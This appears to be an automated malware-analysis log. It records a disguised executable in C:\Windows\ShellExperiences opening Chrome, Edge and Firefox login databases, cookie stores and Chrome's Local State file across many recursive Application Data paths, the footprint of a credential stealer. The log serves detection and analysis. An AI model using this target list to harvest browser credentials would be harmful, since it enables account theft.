Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Windows\ShellExperiences\uAsLgsGzSk.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
